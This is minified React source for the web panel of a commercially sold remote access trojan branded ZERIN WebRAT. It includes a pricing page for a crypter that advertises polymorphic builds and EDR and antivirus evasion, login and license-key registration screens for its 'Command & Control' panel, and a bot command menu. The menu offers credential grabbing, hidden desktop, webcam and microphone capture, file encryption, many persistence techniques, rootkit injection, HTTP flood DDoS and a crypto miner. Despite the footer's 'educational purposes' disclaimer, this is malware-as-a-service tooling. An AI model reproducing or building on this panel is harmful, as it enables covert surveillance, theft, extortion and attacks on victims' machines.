tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function A5(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const sy="zerin.pro",O5="zerpanel-67ontoplol.top";function Ex(){return window.location.hostname===sy||window.location.hostname===`www.${sy}`}function sA(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await KE({username:t,password:r}),Ex()){const f=st();if(f){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function oA(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await YE({username:t,password:r,license_key:l}),Ex()){const g=st();if(g){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Jc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Tp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function lA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Mo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function to(e){return e.slice(0,8)}function T5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function cA(e){return`data:image/bmp;base64,${e}`}function uA(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},dA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),fA=new Set(["remove","exit","uninstall","shutdown"]),mA=new Set(["ban"]),im=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],pA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},hA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},xA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},vA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),z=m.useRef(null),k=s==="dead",S=x.trim()?im.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:im.find(M=>M.label===D.label).commands})):im;m.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,W=window.innerHeight;let $=e,H=t;e+D.width>M&&($=M-D.width-8),t+D.height>W&&(H=W-D.height-8),h({x:Math.max(4,$),y:Math.max(4,H)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),m.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),m.useEffect(()=>()=>{z.current&&clearTimeout(z.current)},[]);const A=m.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),W=window.innerHeight;if(M.bottom>W-8){const $=M.bottom-W+8;D.style.top=`${-$}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(A)},[d,A]),m.useEffect(()=>{if(!n)return;const D=M=>{var $;const W=S;if(W.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const H=W.find(F=>F.label===d);H&&w(F=>F{const F=HF.label===d);H&&w(F=>F>0?F-1:H.commands.length-1)}else v(H=>{const F=H>0?H-1:W.length-1;return f(W[F].label),F});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const H=W.find(F=>F.label===d);H&&b>=0&&bdocument.removeEventListener("keydown",D)},[n,S,d,j,y,b,i]),!n)return null;const _=(D,M)=>{z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{f(D),v(M),N(!1),w(-1)},60)},O=()=>{z.current&&clearTimeout(z.current)},P=D=>{k&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=p.x+200+220>window.innerWidth,Y=D=>D===0?!1:S[D].group!==S[D-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full 